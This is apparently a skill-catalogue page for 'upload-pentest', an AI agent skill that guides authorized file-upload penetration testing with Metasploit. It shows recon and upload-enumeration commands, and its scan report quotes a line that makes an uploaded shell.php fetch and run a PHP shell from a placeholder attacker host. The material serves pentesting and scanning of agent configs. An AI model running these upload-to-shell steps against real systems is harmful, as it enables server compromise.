Borrowing it
Nothing to install: this file belongs to Suzu-Testing/metasploit-cursor-harness. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.
curl -O https://raw.githubusercontent.com/Suzu-Testing/metasploit-cursor-harness/main/.cursor/skills/upload-pentest/SKILL.mdgit clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harnessWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/upload-pentest)<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/upload-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/upload-pentest/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/upload-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/upload-pentest.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00045 | $0.03090 |
| Opus 5.5 | $0.00018 | $0.01236 |
| Sonnet 5.5 | $0.00009 | $0.00618 |
| Haiku 4.5 | $0.00005 | $0.00309 |
Grade A, and why
upload-pentest scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -sk "https://<target>/uploads/shell.php" --data 'c=wget http://<attacker>/shell.php -O /tmp/s.php; php /tmp/s.php' Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sk -F "file=@test.$ext" "https://<target>/upload" -o "resp_$ext.txt" How it starts
The opening of the file, as written. The whole thing — 304 lines — stays where its author put it; the contents beside it link to each section on GitHub.
File Upload Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE). - Load
web-app-pentestfor overall web testing context and surface mapping. - Active engagement with valid
engagement_idfor all destructive MCP calls. - Confirm upload testing is authorized in ROE (shell upload may be restricted).
Triggers
- File upload form on profile, avatar, attachment, import, or admin pages
- API endpoint accepting multipart/form-data or base64 file bodies
- Image/document upload with client-side type validation only
- Upload response returns filename, path, or preview URL
- Allowed extensions listed in UI, error messages, or JavaScript validation
- Tech stack suggests PHP, ASP, JSP, or Node file handling (check
whatweb, headers)
Workflow
Task Progress:
- [ ] Map upload endpoints, parameters, and response behavior
- [ ] Identify allowed types, size limits, and server-side validation
- [ ] Test extension, content-type, and magic-byte bypasses
- [ ] Discover upload path and achieve code execution or XSS delivery
- [ ] Bridge to MSF listener or post-exploit modules
- [ ] Document request/response evidence and impact PoC
Reconnaissance
Endpoint discovery
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/dir_scanner",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 443, "SSL": true, "PATH": "/upload", "DICTIONARY": "/usr/share/wordlists/dirb/common.txt"}
)
msf_search_modules(query="upload")
CLI fallback:
ffuf -u https://<target>/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200,301,302,403 -e .php,.asp,.aspx,.jsp
feroxbuster -u https://<target> -x php,asp,aspx,jsp,html
# Burp: browse app, filter site map for multipart POST requests
Common paths: /upload, /api/upload, /profile/avatar, /admin/import, /files, /media.
Allowed type enumeration
CLI (primary):
for ext in jpg png gif pdf docx php phtml php5 phar shtml asp aspx jsp; do
echo "test" > test.$ext
curl -sk -F "file=@test.$ext" "https://<target>/upload" -o "resp_$ext.txt"
done
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 304 lines · 45 tokens per session scan A a787c6d486bb
upload-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 2mo ago), licensed MIT. It adds 45 tokens to every session and 3,090 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
local-ai-agents
Build local-first AI agents that run entirely on a developer workstation with Microsoft Foundry Local and Qwen function-calling models. Covers Small Language Models (SLMs), the OpenAI-compatible local endpoint, sandboxed local tools, local RAG with Chroma, local MCP servers, hybrid cloud/local routing, and the…
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
next-cache-components-adoption
Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…
chat-pet-sprite-creation
Use when creating or changing VS Code chat pet sprite art, sprite sheets, state animations, eye treatments, Stable/Insiders variants, or pet transitions under src/vs/workbench/contrib/chat/browser/widget/media/chatPet.
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…
insight-error-page
Write or audit an insight-kind error page for the Next.js dev overlay. Use when creating a new errors/ .mdx page, auditing an existing one, or checking that a page matches the framework fix cards. Covers page structure, title alignment, FixCard cards with Copy prompt button, code snippets, terminology verification…